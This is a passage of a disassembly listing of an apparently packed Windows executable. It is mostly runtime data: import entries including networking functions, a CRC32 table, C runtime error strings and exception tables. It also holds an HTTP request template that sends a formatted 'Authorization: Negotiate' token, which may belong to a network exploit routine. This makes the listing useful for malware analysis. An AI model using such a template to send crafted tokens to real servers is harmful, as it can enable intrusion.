		lea	ecx, [ebp-1Ch]
		jmp	loc_402583
; ---------------------------------------------------------------------------


loc_417BF4:				; DATA XREF: sub_4022FDo
		mov	eax, offset dword_418E94
		jmp	loc_40D093
; ---------------------------------------------------------------------------
		align 10h


loc_417C00:				; DATA XREF: sub_402864o
		mov	eax, offset dword_418EE4
		jmp	loc_40D093
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_402583
; ---------------------------------------------------------------------------


loc_417C14:				; DATA XREF: sub_417720o
		mov	eax, offset dword_418F80
		jmp	loc_40D093
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		jmp	sub_417B27
; ---------------------------------------------------------------------------


loc_417C28:				; DATA XREF: sub_41777Ao
		mov	eax, offset dword_418FA8
		jmp	loc_40D093
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_417B27
; ---------------------------------------------------------------------------


loc_417C3C:				; DATA XREF: sub_417808o
		mov	eax, offset dword_418FF0
		jmp	loc_40D093
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_417B27
; ---------------------------------------------------------------------------


loc_417C50:				; DATA XREF: sub_417861o
		mov	eax, offset dword_419018
		jmp	loc_40D093
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_417B27
; ---------------------------------------------------------------------------


loc_417C64:				; DATA XREF: sub_4178BEo
		mov	eax, offset dword_419040
		jmp	loc_40D093
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-20h]
		jmp	loc_402583
; ---------------------------------------------------------------------------


loc_417C78:				; DATA XREF: sub_41794Co
		mov	eax, offset dword_4190A8
		jmp	loc_40D093
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_417B27
; ---------------------------------------------------------------------------


loc_417C8C:				; DATA XREF: sub_4179A6o
		mov	eax, offset dword_4190D0
		jmp	loc_40D093
; ---------------------------------------------------------------------------
		align 4
		dd 0DAh	dup(0)
dword_418000	dd 77E7513Ch		; DATA XREF: .nsp0:0040657Dr
dword_418004	dd 77E6BD68h		; DATA XREF: sub_417437+173r
dword_418008	dd 77E77F2Eh		; DATA XREF: sub_41718F+3Er
					; sub_41718F+261r
dword_41800C	dd 77E762D0h		; DATA XREF: sub_41718F+5Br
					; sub_41718F+B9r
dword_418010	dd 77E70192h		; DATA XREF: sub_416C0D+F9r
dword_418014	dd 77E73FF9h		; DATA XREF: sub_415753+2Cr
dword_418018	dd 77E7FF2Eh		; DATA XREF: sub_415625:loc_415675r
					; sub_41569C:loc_4156EFr
dword_41801C	dd 77E7C866h		; DATA XREF: sub_415447+3Fr
					; sub_415447+12Dr
dword_418020	dd 77E641EBh		; DATA XREF: sub_415447+59r
					; sub_415447+8Dr
dword_418024	dd 77E7176Ch		; DATA XREF: sub_415418+8r
dword_418028	dd 77E7339Ch		; DATA XREF: sub_4153E0+Cr
dword_41802C	dd 77E7C9E7h		; DATA XREF: .nsp0:004153C7r
					; .nsp0:004153D9r
dword_418030	dd 77E78406h		; DATA XREF: sub_4143B3+FFr
					; sub_4143B3+166r ...
dword_418034	dd 77E79C3Dh		; DATA XREF: sub_4143B3+158r
					; sub_414679+143r
dword_418038	dd 77E7C931h		; DATA XREF: sub_4143B3+19Dr
dword_41803C	dd 77E77EE1h		; DATA XREF: sub_414281+9r
dword_418040	dd 77E61BE6h		; DATA XREF: sub_401141+1C0r
					; sub_401141+279r ...
dword_418044	dd 77F5157Dh		; DATA XREF: sub_401141+12Br
					; sub_401141+24Cr ...
dword_418048	dd 77E7AC37h		; DATA XREF: sub_401141+10Br
					; sub_401141+22Er ...
dword_41804C	dd 77E7A099h		; DATA XREF: sub_401141+58r
					; sub_401141+166r ...
dword_418050	dd 77E73C49h		; DATA XREF: sub_40154B+1B3r
					; sub_401704+251r ...
dword_418054	dd 77F7E300h		; DATA XREF: sub_40154B+D5r
dword_418058	dd 77F7E21Fh		; DATA XREF: sub_40154B+9Br
dword_41805C	dd 77E7751Ah		; DATA XREF: sub_40154B+2Cr
					; sub_4032EE+C9r ...
dword_418060	dd 77E7C706h		; DATA XREF: sub_401704+77r
dword_418064	dd 77F53275h		; DATA XREF: sub_401704+6Br
					; sub_401704+241r
dword_418068	dd 77E70F89h		; DATA XREF: sub_403145+Dr
					; sub_40E2E2+Dr
dword_41806C	dd 77E802FCh		; DATA XREF: sub_40B3F5+109r
					; sub_40B3F5+250r
dword_418070	dd 77E6D75Bh		; DATA XREF: sub_40B3F5+FFr
dword_418074	dd 77E75CB5h		; DATA XREF: sub_4032EE+465r
					; sub_403B83+DFr ...
dword_418078	dd 77E61BB8h		; DATA XREF: sub_4032EE+44Fr
					; sub_403B83+A7r ...
dword_41807C	dd 77E77963h		; DATA XREF: sub_4032EE+224r
					; sub_403B83+B8r ...
dword_418080	dd 77E79D8Ch		; DATA XREF: sub_4032EE+137r
					; sub_40551B+AEr ...
dword_418084	dd 77E7A837h		; DATA XREF: sub_4032EE+5Dr
					; sub_405455+36r ...
dword_418088	dd 77E704FCh		; DATA XREF: sub_403B83+74r
					; sub_407041+CCr ...
dword_41808C	dd 77E805D8h		; DATA XREF: sub_4045F0+13Ar
					; sub_4045F0:loc_404A86r ...
dword_418090	dd 77E7A5FDh		; DATA XREF: sub_4045F0+11r
					; sub_411D85+15r ...
dword_418094	dd 77E79F93h		; DATA XREF: sub_4045F0+2r
					; sub_40551B+FBr ...
dword_418098	dd 77E76A60h		; DATA XREF: sub_40530E+2Dr
dword_41809C	dd 77E71B14h		; DATA XREF: sub_405398+26r
dword_4180A0	dd 77E7166Fh		; DATA XREF: sub_405398+1Dr
dword_4180A4	dd 77E75090h		; DATA XREF: sub_4053D3+69r
dword_4180A8	dd 77E74D76h		; DATA XREF: sub_4053D3+36r
dword_4180AC	dd 77E77797h		; DATA XREF: sub_4053D3+25r
dword_4180B0	dd 77E7011Ah		; DATA XREF: sub_405455+96r
dword_4180B4	dd 77E73CE2h		; DATA XREF: sub_405455+60r
dword_4180B8	dd 77E668D9h		; DATA XREF: sub_40551B+15Dr
dword_4180BC	dd 77E70396h		; DATA XREF: sub_40551B+126r
					; sub_407041+1C1r ...
dword_4180C0	dd 77E74CABh		; DATA XREF: sub_40551B+10Fr
					; sub_407041+1AAr ...
dword_4180C4	dd 77E6AD34h		; DATA XREF: sub_40551B+35r
					; sub_4077FD+24C6r
dword_4180C8	dd 77E79924h		; DATA XREF: sub_4056A3+13r
					; sub_413455+20Dr ...
dword_4180CC	dd 77E77CCEh		; DATA XREF: sub_405775+Fr
					; sub_413455+DFr ...
dword_4180D0	dd 77E65F4Ch		; DATA XREF: .nsp0:00406510r
dword_4180D4	dd 77E79C90h		; DATA XREF: sub_405D28+Cr
					; sub_40E7D4+10r
dword_4180D8	dd 77E616B4h		; DATA XREF: sub_405D93+193r
					; sub_40601E+1Fr ...
dword_4180DC	dd 77E706B7h		; DATA XREF: sub_405D93+184r
					; sub_40601E+10r ...
dword_4180E0	dd 77E7C657h		; DATA XREF: .nsp0:004065F1r
					; sub_40B807+24r ...
dword_4180E4	dd 77E6C29Dh		; DATA XREF: sub_406D25+1F0r
dword_4180E8	dd 77E73628h		; DATA XREF: sub_407041+329r
					; sub_4077FD+2B0Dr ...
dword_4180EC	dd 77E80656h		; DATA XREF: sub_407041+255r
dword_4180F0	dd 77E6BD13h		; DATA XREF: sub_407041:loc_407208r
dword_4180F4	dd 77E79D5Bh		; DATA XREF: sub_407041+70r
					; sub_407041+2FFr
dword_4180F8	dd 77E7C2C4h		; DATA XREF: sub_407041+69r
dword_4180FC	dd 77E71AFEh		; DATA XREF: sub_4077FD+2372r
dword_418100	dd 77E76C1Ah		; DATA XREF: sub_40B807+1CFr
dword_418104	dd 77E64106h		; DATA XREF: sub_40B807+1B6r
dword_418108	dd 77E64006h		; DATA XREF: sub_40B807+19Fr
dword_41810C	dd 77E75CEBh		; DATA XREF: sub_40C19D+27r
dword_418110	dd 77F516F8h		; DATA XREF: sub_40CD0D+6Cr
					; sub_40DB08+C6r ...
dword_418114	dd 77F51597h		; DATA XREF: sub_40CD81+60r
					; sub_4102F3+2C5r ...
dword_418118	dd 77F6183Eh		; DATA XREF: sub_417A7Er
dword_41811C	dd 77F5722Fh		; DATA XREF: sub_40DB08+110r
					; sub_40DB08+22Dr ...
dword_418120	dd 77E76E3Dh		; DATA XREF: sub_40E2E2+6Cr
					; sub_415A78+38r
dword_418124	dd 77E61608h		; DATA XREF: sub_40E2E2+17r
dword_418128	dd 77E6177Ah		; DATA XREF: sub_40EB84+9Fr
					; sub_4143B3+59r
dword_41812C	dd 77E7C938h		; DATA XREF: sub_40EB84+74r
dword_418130	dd 77E7C486h		; DATA XREF: sub_40EB84+26r
dword_418134	dd 77E7AC5Eh		; DATA XREF: sub_4100DB+54r
dword_418138	dd 77E76E0Bh		; DATA XREF: sub_410223+50r
dword_41813C	dd 77E7C726h		; DATA XREF: sub_410223+11r
dword_418140	dd 77E79E34h		; DATA XREF: sub_4102F3+240r
					; sub_410DC7+120r ...
dword_418144	dd 77E7980Ah		; DATA XREF: sub_410925+76r
					; sub_4109D6+51r ...
dword_418148	dd 77E73196h		; DATA XREF: sub_4153FC+Cr
dword_41814C	dd 77E6D706h		; DATA XREF: sub_41157F+215r
					; sub_417B7B+2Er
dword_418150	dd 77F522F2h		; DATA XREF: sub_412AE8+58r
dword_418154	dd 77E78B82h		; DATA XREF: sub_412E82+84r
					; sub_412E82+155r
dword_418158	dd 77E77405h		; DATA XREF: sub_413455+5Er
					; sub_413455+A7r
dword_41815C	dd 77E781F9h		; DATA XREF: sub_413455+42r
					; sub_413455+14Dr ...
dword_418160	dd 77E7849Fh		; DATA XREF: sub_413679+48r
					; sub_4138B8+14r ...
dword_418164	dd 77E7A13Fh		; DATA XREF: sub_413812+2Fr
dword_418168	dd 77E6C703h		; DATA XREF: sub_413812+1Ar
dword_41816C	dd 77E78C81h		; DATA XREF: sub_413BAD+4Fr
dword_418170	dd 77EB9A84h		; DATA XREF: sub_413D9F+138r
dword_418174	dd 77E9C5B1h		; DATA XREF: sub_414281+11Fr
dword_418178	dd 77E7C9E1h		; DATA XREF: sub_414281+CEr
dword_41817C	dd 77E67702h		; DATA XREF: sub_414281:loc_4142B0r
					; sub_414281+E1r
		dd 0
dword_418184	dd 71AB1836h		; DATA XREF: sub_4043F8+6Er
					; sub_404475+8Er
dword_418188	dd 71AB41DAh		; DATA XREF: sub_403E11+47r
					; sub_4043F8+15r
dword_41818C	dd 71AB155Ah		; DATA XREF: sub_403E11+9Dr
dword_418190	dd 71AB3ECEh		; DATA XREF: sub_403E11+C4r
dword_418194	dd 71AB5DE2h		; DATA XREF: sub_403E11+D8r
dword_418198	dd 71AB868Dh		; DATA XREF: sub_403E11+17Er
dword_41819C	dd 71AB12F8h		; DATA XREF: sub_402972+2Cr
					; sub_4043F8+35r
dword_4181A0	dd 71AB1746h		; DATA XREF: sub_402972+3Dr
					; sub_403E11+B3r ...
dword_4181A4	dd 71AB3E5Dh		; DATA XREF: sub_402972+50r
					; sub_4043F8+57r
dword_4181A8	dd 71AB3F8Dh		; DATA XREF: sub_402972+7Br
					; sub_403E11+8Dr
dword_4181AC	dd 71AB5690h		; DATA XREF: sub_402972+B5r
					; sub_402972+28Br ...
dword_4181B0	dd 71AB1A6Dh		; DATA XREF: sub_402972+26Fr
					; sub_402972:loc_402DC8r ...
dword_4181B4	dd 71AB3C22h		; DATA XREF: sub_4023B8+AFr
					; sub_402972+15r ...
dword_4181B8	dd 71AB1AF4h		; DATA XREF: sub_4020C0+12r
					; sub_402972+A4r ...
dword_4181BC	dd 71AB1890h		; DATA XREF: sub_401F1D+4Cr
					; sub_403E11+115r
dword_4181C0	dd 71AB1B7Bh		; DATA XREF: sub_417A78r
		align 8
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4022FD+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_418208	dq 1.388888888888889e-2	; DATA XREF: sub_402112+2Fr
dbl_418210	dq 1.666666666666667e-1	; DATA XREF: sub_402112+15r
dbl_418218	dq 1.333333333333333	; DATA XREF: sub_40215E+7Ar
dword_418220	dd 2 dup(0)		; DATA XREF: sub_4022FD+4Do
					; sub_40263D+57o ...
dbl_418228	dq -3.0517578125e-5	; DATA XREF: sub_40301D+1Er
dword_418230	dd 0			; DATA XREF: sub_403245+24r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh
byte_41862C	db 8Dh			; DATA XREF: sub_40EDD8+4Ar
		db 0EFh, 2, 2Dh
dbl_418630	dq 9.765625e-4		; DATA XREF: sub_4032EE+2B8r
					; sub_4032EE+2CDr ...
dbl_418638	dq 1.0			; DATA XREF: sub_40CDEA+6Cr
					; sub_40CF33+6Cr ...
dword_418640	dd 0FFFFFFFFh, 40EC5Bh,	40EC6Fh	; DATA XREF: sub_40EB84+5o
byte_41864C	db 6			; DATA XREF: sub_40EDD8:loc_40EE2Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .nsp0:off_41FC7Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .nsp0:off_41FC78o
		align 10h
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_4100DB+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_4100DB+4Fo
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog_0		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .nsp0:off_421CBCo
		align 8
dbl_4187A8	dq 0.0			; DATA XREF: sub_411832+8Cr
					; sub_411832+ACr ...
dbl_4187B0	dq 4.195835e6		; DATA XREF: sub_411D47+Fr
dbl_4187B8	dq 3.145727e6		; DATA XREF: sub_411D47+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_411D85+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_411D85o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_411EAC+93o
		align 10h
dword_4187F0	dd 0FFFFFFFFh, 412597h,	4125A1h, 0 ; DATA XREF:	sub_412530+5o
dword_418800	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41265F+5o
		dd offset loc_41271D
		align 10h
		dd offset sub_4126FB
		dd offset sub_412705
dword_418818	dd 0FFFFFFFFh, 41294Dh,	412951h, 0 ; DATA XREF:	sub_412795+5o
dword_418828	dd 0FFFFFFFFh, 4129AFh,	4129B8h, 0 ; DATA XREF:	sub_412959+5o
dword_418838	dd 0FFFFFFFFh, 0	; DATA XREF: sub_412A3C+5o
		dd offset loc_412A8D
		align 8
		dd offset loc_412A79
		dd offset loc_412A7D
dword_418850	dd 0FFFFFFFFh, 0	; DATA XREF: sub_412A92+5o
		dd offset loc_412AE3
		align 10h
		dd offset loc_412ACF
		dd offset loc_412AD3
dword_418868	dd 2 dup(0)		; DATA XREF: sub_413455+36o
					; sub_415447+39o ...
dword_418870	dd 0FFFFFFFFh, 413565h,	413569h, 0FFFFFFFFh, 413619h, 41361Dh
					; DATA XREF: sub_413455+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
		dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
		dd 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .nsp0:off_422304o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_414679+119o
		align 4
asc_418B3C	db 0Ah			; DATA XREF: sub_414679+F1o
		db 0Ah,0
		align 10h
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_414679+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_414679+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_414679+7Do
		align 4
dword_418B78	dd 0FFFFFFFFh, 415540h,	415544h	; DATA XREF: sub_415447+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_415A78+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_416004+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_416004+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_416004+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_416808:loc_4168FDo
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_416808+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_416808+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_416808+ADo
		align 4
dword_418C18	dd 0FFFFFFFFh, 417346h,	41734Ah, 0FFFFFFFFh, 4173B5h, 4173B9h
					; DATA XREF: sub_41718F+5o
		dd 418D40h
off_418C34	dd offset loc_417918	; DATA XREF: sub_417720+4Do
					; sub_417934+Co
		dd offset sub_4177DE
		dd offset sub_4178FB
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_417720+1Eo
		dd offset dword_418D78
off_418C54	dd offset loc_417845	; DATA XREF: sub_41777A+4Eo
					; sub_417808+11o ...
		dd offset sub_4177DE
; ---------------------------------------------------------------------------
		jmp	short near ptr byte_418CD5
; ---------------------------------------------------------------------------
		dw 41h
dword_418C60	dd 0FFFFFFFFh		; DATA XREF: sub_41777A+3Br
					; sub_417861+34r
		dd offset dword_418DC8
off_418C68	dd offset loc_417A00	; DATA XREF: sub_41794C+4Do
					; sub_417A1C+Co
		dd offset sub_4177DE
		dd offset sub_4179E3
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41794C+1Eo
		dd offset dword_418DF8
off_418C90	dd offset sub_417A84	; DATA XREF: sub_417AA0+8o
					; sub_417ADD+8o ...
		dd offset sub_417B3D
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_417B3D+7o
		align 4
		dd offset dword_418E40
off_418CB0	dd offset loc_417B5F	; DATA XREF: sub_417B4Ao
					; .nsp0:off_422A28o ...
		align 8
dword_418CB8	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_417B7B+Eo
		dd 3, 19930520h, 0
		db 0
byte_418CD5	db 3 dup(0)		; CODE XREF: .nsp0:00418C5Cj
off_418CD8	dd offset off_422A28	; DATA XREF: .nsp0:00418D28o
					; .nsp0:00418D5Co ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_418CF0	dd offset off_422A40	; DATA XREF: .nsp0:00418D24o
					; .nsp0:00418D58o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_418D08	dd offset off_422A60	; DATA XREF: .nsp0:00418D20o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_418D08
		dd offset off_418CF0
		dd offset off_418CD8
dword_418D2C	dd 3 dup(0)		; DATA XREF: .nsp0:00418D50o
		dd 3, 418D20h, 3 dup(0)
		dd offset off_422A60
		dd offset dword_418D2C+4
		align 8
		dd offset off_418CF0
		dd offset off_418CD8
dword_418D60	dd 4 dup(0)		; DATA XREF: .nsp0:00418D88o
		dd 2, 418D58h
dword_418D78	dd 3 dup(0)		; DATA XREF: .nsp0:00418C50o
		dd offset off_422A40
		dd offset dword_418D60+8
		align 10h
off_418D90	dd offset off_422A80	; DATA XREF: .nsp0:00418DA8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_418D90
		dd offset off_418CF0
		dd offset off_418CD8
		dd 0
		db    0			; DATA XREF: .nsp0:00418DD8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 418DA8h
dword_418DC8	dd 3 dup(0)		; DATA XREF: .nsp0:00418C64o
		dd offset off_422A80
		dd offset unk_418DB8
		dd offset off_418CD8
dword_418DE0	dd 4 dup(0)		; DATA XREF: .nsp0:00418E08o
		dd 1, 418DDCh
dword_418DF8	dd 3 dup(0)		; DATA XREF: .nsp0:00418C8Co
		dd offset off_422A28
		dd offset dword_418DE0+8
		align 10h
off_418E10	dd offset off_422AA0	; DATA XREF: .nsp0:00418E28o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_418E10
dword_418E2C	dd 3 dup(0)		; DATA XREF: .nsp0:00418E50o
		dd 1, 418E28h
dword_418E40	dd 3 dup(0)		; DATA XREF: .nsp0:00418CACo
		dd offset off_422AA0
		dd offset dword_418E2C+4
		align 8
		dd 0FFFFFFFFh, 417BC0h,	0
		dd offset sub_417BB8
dword_418E68	dd 19930520h, 2, 418E58h, 4 dup(0) ; DATA XREF:	.nsp0:loc_417BD7o
		dd 0FFFFFFFFh, 417BE4h,	0
		dd offset loc_417BEC
dword_418E94	dd 19930520h, 2, 418E84h, 4 dup(0) ; DATA XREF:	.nsp0:loc_417BF4o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_4028A3
		dd 2 dup(0)
		dd 2 dup(1), 418EC0h
dword_418EE4	dd 19930520h, 2, 418EB0h, 1, 418ED0h, 3	dup(0)
					; DATA XREF: .nsp0:loc_417C00o
		dd offset off_422A28
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	417ADDh, 2 dup(0)
		dd offset off_422A40
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	417861h, 2 dup(0)
		dd offset off_422A60
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	417934h, 0
dword_418F60	dd 3, 418F40h, 418F20h,	418F00h	; DATA XREF: .nsp0:00418F7Co
dword_418F70	dd 0			; DATA XREF: sub_417720+47o
					; sub_4178FB+12o
		dd offset sub_4178BE
		dd 0
		dd offset dword_418F60
